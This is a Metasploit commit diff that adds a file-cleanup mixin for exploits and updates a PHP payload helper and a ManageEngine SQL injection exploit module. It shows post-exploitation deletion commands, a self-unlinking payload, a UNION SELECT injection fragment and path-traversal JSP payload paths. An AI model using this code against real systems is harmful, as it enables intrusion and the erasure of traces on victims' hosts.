Skip to content

Commit edaa660

Browse files
committed
Merge branch 'jlee-r7-feature/automatic-fs-cleanup'
2 parents 8385b83 + 527ba0e commit edaa660

File tree

3 files changed

+106
-45
lines changed

3 files changed

+106
-45
lines changed

lib/msf/core/exploit/file_dropper.rb

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
module Exploit::FileDropper
5+
6+
#
7+
# When a new session is created, attempt to delete any files that the
8+
# exploit created.
9+
#
10+
# @param (see Msf::Exploit#on_new_session)
11+
# @return [void]
12+
#
13+
def on_new_session(session)
14+
if session.type == "meterpreter"
15+
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
16+
end
17+
18+
@dropped_files.delete_if do |file|
19+
win_file = file.gsub("/", "\\\\")
20+
if session.type == "meterpreter"
21+
begin
22+
# Meterpreter should do this automatically as part of
23+
# fs.file.rm(). Until that has been implemented, remove the
24+
# read-only flag with a command.
25+
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
26+
session.fs.file.rm(file)
27+
print_good("Deleted #{file}")
28+
true
29+
rescue ::Rex::Post::Meterpreter::RequestError
30+
false
31+
end
32+
else
33+
cmds = [
34+
%Q|attrib.exe -r "#{win_file}"|,
35+
%Q|del.exe /f /q "#{win_file}"|,
36+
%Q|rm -f "#{file}" >/dev/null|,
37+
]
38+
39+
# We need to be platform-independent here. Since we can't be
40+
# certain that {#target} is accurate because exploits with
41+
# automatic targets frequently change it, we just go ahead and
42+
# run both a windows and a unixy command in the same line. One
43+
# of them will definitely fail and the other will probably
44+
# succeed. Doing it this way saves us an extra round-trip.
45+
session.shell_command_token(cmds.join(" ; "))
46+
print_good("Deleted #{file}")
47+
true
48+
end
49+
end
50+
51+
super
52+
end
53+
54+
#
55+
# Record file as needing to be cleaned up
56+
#
57+
# @param [Array<String>] files List of paths on the target that should
58+
# be deleted during cleanup. Each filename should be either a full
59+
# path or relative to the current working directory of the session
60+
# (not necessarily the same as the cwd of the server we're
61+
# exploiting).
62+
# @return [void]
63+
def register_files_for_cleanup(*files)
64+
@dropped_files ||= []
65+
@dropped_files += files
66+
67+
nil
68+
end
69+
70+
# Singular version
71+
alias register_file_for_cleanup register_files_for_cleanup
72+
73+
#
74+
# Warn the user if any files (registered with {#register_dropped_file}) were
75+
# not cleaned up
76+
#
77+
# @see Msf::Exploit#cleanup
78+
def cleanup
79+
super
80+
if @dropped_files and @dropped_files.any?
81+
@dropped_files.each do |f|
82+
print_warning("This exploit may require manual cleanup of: #{f}")
83+
end
84+
end
85+
end
86+
end
87+
end

lib/msf/core/exploit/php_exe.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ def get_write_exec_payload(opts={})
5050
end
5151
if target["Platform"] == 'win'
5252
bin_name << ".exe"
53-
print_debug("Unable to clean up #{bin_name}, delete it manually")
53+
print_warning("Unable to clean up #{bin_name}, delete it manually")
5454
end
5555
p = Rex::Text.encode_base64(generate_payload_exe)
5656
php = %Q{
@@ -74,7 +74,9 @@ def get_write_exec_payload(opts={})
7474
end
7575

7676
if opts[:unlink_self]
77-
php << "unlink(__FILE__);"
77+
# Prepend instead of appending to make sure it happens no matter
78+
# what the payload normally does.
79+
php = "@unlink(__FILE__);" + php
7880
end
7981

8082
php.gsub!(/#.*$/, '')

modules/exploits/multi/http/manageengine_search_sqli.rb

Lines changed: 15 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,13 @@
66
##
77

88
require 'msf/core'
9+
require 'msf/core/exploit/file_dropper'
910

1011
class Metasploit3 < Msf::Exploit::Remote
1112
Rank = ExcellentRanking
1213

1314
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Exploit::FileDropper
1416
include Msf::Exploit::EXE
1517

1618
def initialize(info={})
@@ -68,9 +70,10 @@ def pick_target
6870

6971
rnd_num = Rex::Text.rand_text_numeric(1)
7072
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
71-
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
73+
clean_path= "../webapps/SecurityManager/#{rnd_fname}"
74+
outpath = "../" + clean_path
7275

73-
@clean_ups << outpath
76+
register_file_for_cleanup(clean_path)
7477

7578
sqli = "#{rnd_num})) union select @@version,"
7679
sqli << (2..28).map {|e| e} * ","
@@ -94,41 +97,6 @@ def pick_target
9497
return nil
9598
end
9699

97-
98-
#
99-
# We're in SecurityManager/bin at this point
100-
#
101-
def on_new_session(cli)
102-
if target['Platform'] == 'linux'
103-
print_warning("Malicious executable is removed during payload execution")
104-
end
105-
106-
if cli.type == 'meterpreter'
107-
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
108-
end
109-
110-
@clean_ups.each { |f|
111-
base = File.basename(f)
112-
f = "../webapps/SecurityManager/#{base}"
113-
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
114-
115-
begin
116-
if cli.type == 'meterpreter'
117-
cli.fs.file.rm(f)
118-
else
119-
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
120-
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
121-
cli.shell_command_token("#{del_cmd} \"#{f}\"")
122-
end
123-
124-
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
125-
rescue ::Exception => e
126-
print_error("Unable to delete: #{e.message}")
127-
end
128-
}
129-
end
130-
131-
132100
#
133101
# Embeds our executable in JSP
134102
#
@@ -229,6 +197,7 @@ def sqli_exec(sqli_string)
229197
'COUNT' => '1'
230198
}
231199
})
200+
232201
end
233202

234203
#
@@ -253,20 +222,23 @@ def inject_exec(out)
253222

254223

255224
def exploit
256-
# This is used to collect files we want to delete later
257-
@clean_ups = []
258-
259225
@my_target = pick_target
260226
if @my_target.nil?
261227
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
262228
return
263229
end
264230

265231
jsp_name = rand_text_alpha(rand(6)+3)
266-
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
232+
# The working directory when our payload runs is
233+
# c:/AdventNet/SecurityManager/bin/
234+
# while the jsp file will be in
235+
# c:/AdventNet/SecurityManager/webapps/SecurityManager/
236+
# so we need to adjust the traversal level.
237+
clean_path= "../webapps/SecurityManager/#{jsp_name + '.jsp'}"
238+
outpath = "../" + clean_path
267239

268-
@clean_ups << outpath
240+
register_file_for_cleanup(clean_path)
269241

270242
inject_exec(outpath)
271243
end
272-
end
244+
end

0 commit comments

Comments
 (0)